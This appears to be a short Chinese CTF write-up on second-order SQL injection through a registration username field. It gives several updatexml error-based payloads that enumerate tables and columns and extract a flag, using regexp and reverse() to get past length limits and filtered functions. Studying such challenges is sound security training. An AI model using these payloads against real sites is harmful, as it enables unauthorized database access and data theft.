知识点:二次注入
进入页面发现有注册和登录的功能
点击注册页面后先随便注册一个用户,登录后出现这个页面
随便点了一个发现有参数,但是用sql注入无果,于是猜测在注册或者登录处进行sql注入。又发现Hi的后面会显示用户名,猜测是二次注入
注册用户名:
Yhck"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#爆出表
虽然有flag表,但是flag不在flag表里,所以用:
Yhck"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#爆出字段名,但是发现有长度限制
使用regexp读取完整字段名
Yhck"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#
使用:
Yhck"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#爆出flag,但是发现有长度限制
由于substr()、left()、right()函数被过滤,所以使用reverse倒序输出
Yhck"||(updatexml(1,concat(0x3a,(reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f'))))),1))#,结合起来就是flag